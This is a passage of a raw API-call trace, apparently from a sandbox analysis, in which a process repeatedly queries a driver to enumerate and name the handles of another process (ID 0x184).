Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.535] ObfDereferenceObject (Object=0xfffff8a00206f1f0) returned 0x1 [0103.535] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.535] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.535] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.535] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.535] PsAcquireProcessExitSynchronization () returned 0x0 [0103.536] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.536] ObReferenceObjectByHandle (in: Handle=0x28c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089e92b0, HandleInformation=0x0) returned 0x0 [0103.536] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.536] PsReleaseProcessExitSynchronization () returned 0x2 [0103.536] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.536] ObQueryNameString (in: Object=0xfffff8a0089e92b0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.536] ObfDereferenceObject (Object=0xfffff8a0089e92b0) returned 0x1 [0103.536] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.536] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.536] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.536] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.536] PsAcquireProcessExitSynchronization () returned 0x0 [0103.536] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.536] ObReferenceObjectByHandle (in: Handle=0x298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001247880, HandleInformation=0x0) returned 0x0 [0103.536] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.536] PsReleaseProcessExitSynchronization () returned 0x2 [0103.536] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.536] ObQueryNameString (in: Object=0xfffff8a001247880, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.536] ObfDereferenceObject (Object=0xfffff8a001247880) returned 0x1 [0103.536] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.536] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.536] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.536] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.536] PsAcquireProcessExitSynchronization () returned 0x0 [0103.536] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.536] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001b237a0, HandleInformation=0x0) returned 0x0 [0103.537] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.537] PsReleaseProcessExitSynchronization () returned 0x2 [0103.537] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.537] ObQueryNameString (in: Object=0xfffff8a001b237a0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.537] ObfDereferenceObject (Object=0xfffff8a001b237a0) returned 0x1 [0103.537] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.537] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.537] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.537] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.537] PsAcquireProcessExitSynchronization () returned 0x0 [0103.537] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.537] ObReferenceObjectByHandle (in: Handle=0x2b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001625eb0, HandleInformation=0x0) returned 0x0 [0103.537] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.537] PsReleaseProcessExitSynchronization () returned 0x2 [0103.537] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.537] ObQueryNameString (in: Object=0xfffff8a001625eb0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.537] ObfDereferenceObject (Object=0xfffff8a001625eb0) returned 0x1 [0103.537] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.537] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.537] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.537] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.537] PsAcquireProcessExitSynchronization () returned 0x0 [0103.537] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.538] ObReferenceObjectByHandle (in: Handle=0x2cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0017fefc0, HandleInformation=0x0) returned 0x0 [0103.538] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.538] PsReleaseProcessExitSynchronization () returned 0x2 [0103.538] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.538] ObQueryNameString (in: Object=0xfffff8a0017fefc0, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.538] ObfDereferenceObject (Object=0xfffff8a0017fefc0) returned 0x1 [0103.538] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.538] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.538] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0103.538] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.538] PsAcquireProcessExitSynchronization () returned 0x0 [0103.538] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.538] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800346f580, HandleInformation=0x0) returned 0x0 [0103.539] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.539] PsReleaseProcessExitSynchronization () returned 0x2 [0103.539] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.539] ObQueryNameString (in: Object=0xfffffa800346f580, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.539] ObfDereferenceObject (Object=0xfffffa800346f580) returned 0x2 [0103.539] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.539] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.539] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.539] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.539] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.539] PsAcquireProcessExitSynchronization () returned 0x0 [0103.539] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.539] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001811930, HandleInformation=0x0) returned 0x0 [0103.539] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.539] PsReleaseProcessExitSynchronization () returned 0x2 [0103.539] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.539] ObQueryNameString (in: Object=0xfffff8a001811930, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.539] ObfDereferenceObject (Object=0xfffff8a001811930) returned 0x1 [0103.539] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.539] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.539] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.539] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.539] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.540] PsAcquireProcessExitSynchronization () returned 0x0 [0103.540] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.540] ObReferenceObjectByHandle (in: Handle=0x2e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001b633e0, HandleInformation=0x0) returned 0x0 [0103.540] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.540] PsReleaseProcessExitSynchronization () returned 0x2 [0103.540] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.540] ObQueryNameString (in: Object=0xfffff8a001b633e0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.540] ObfDereferenceObject (Object=0xfffff8a001b633e0) returned 0x1 [0103.540] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.540] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.540] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.540] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.540] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.540] PsAcquireProcessExitSynchronization () returned 0x0 [0103.540] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.540] ObReferenceObjectByHandle (in: Handle=0x2ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001a63b80, HandleInformation=0x0) returned 0x0 [0103.540] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.540] PsReleaseProcessExitSynchronization () returned 0x2 [0103.540] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.540] ObQueryNameString (in: Object=0xfffff8a001a63b80, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.540] ObfDereferenceObject (Object=0xfffff8a001a63b80) returned 0x1 [0103.540] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.540] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.540] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.540] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.540] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.541] PsAcquireProcessExitSynchronization () returned 0x0 [0103.541] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.541] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00179dd10, HandleInformation=0x0) returned 0x0 [0103.541] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.541] PsReleaseProcessExitSynchronization () returned 0x2 [0103.541] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.541] ObQueryNameString (in: Object=0xfffff8a00179dd10, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.541] ObfDereferenceObject (Object=0xfffff8a00179dd10) returned 0x1 [0103.541] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.541] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.541] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.541] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.541] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.541] PsAcquireProcessExitSynchronization () returned 0x0 [0103.541] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.541] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f44bf0, HandleInformation=0x0) returned 0x0 [0103.541] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.541] PsReleaseProcessExitSynchronization () returned 0x2 [0103.541] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.541] ObQueryNameString (in: Object=0xfffff8a001f44bf0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.541] ObfDereferenceObject (Object=0xfffff8a001f44bf0) returned 0x1 [0103.541] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.541] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.541] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.541] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.541] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.541] PsAcquireProcessExitSynchronization () returned 0x0 [0103.541] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.541] ObReferenceObjectByHandle (in: Handle=0x2f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0012483d0, HandleInformation=0x0) returned 0x0 [0103.542] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.542] PsReleaseProcessExitSynchronization () returned 0x2 [0103.542] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.542] ObQueryNameString (in: Object=0xfffff8a0012483d0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.542] ObfDereferenceObject (Object=0xfffff8a0012483d0) returned 0x1 [0103.542] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.542] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.542] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.542] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.542] PsAcquireProcessExitSynchronization () returned 0x0 [0103.542] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.542] ObReferenceObjectByHandle (in: Handle=0x310, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001f537a0, HandleInformation=0x0) returned 0x0 [0103.542] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.542] PsReleaseProcessExitSynchronization () returned 0x2 [0103.542] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.542] ObQueryNameString (in: Object=0xfffff8a001f537a0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.542] ObfDereferenceObject (Object=0xfffff8a001f537a0) returned 0x1 [0103.542] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.542] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.542] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.542] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.542] PsAcquireProcessExitSynchronization () returned 0x0 [0103.542] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.542] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001ef47c0, HandleInformation=0x0) returned 0x0 [0103.542] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.542] PsReleaseProcessExitSynchronization () returned 0x2 [0103.542] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.543] ObQueryNameString (in: Object=0xfffff8a001ef47c0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.543] ObfDereferenceObject (Object=0xfffff8a001ef47c0) returned 0x1 [0103.543] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.543] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.543] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.543] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.543] PsAcquireProcessExitSynchronization () returned 0x0 [0103.543] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.543] ObReferenceObjectByHandle (in: Handle=0x31c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001cb9860, HandleInformation=0x0) returned 0x0 [0103.543] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.543] PsReleaseProcessExitSynchronization () returned 0x2 [0103.543] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.543] ObQueryNameString (in: Object=0xfffff8a001cb9860, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.543] ObfDereferenceObject (Object=0xfffff8a001cb9860) returned 0x1 [0103.543] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.543] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.543] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, 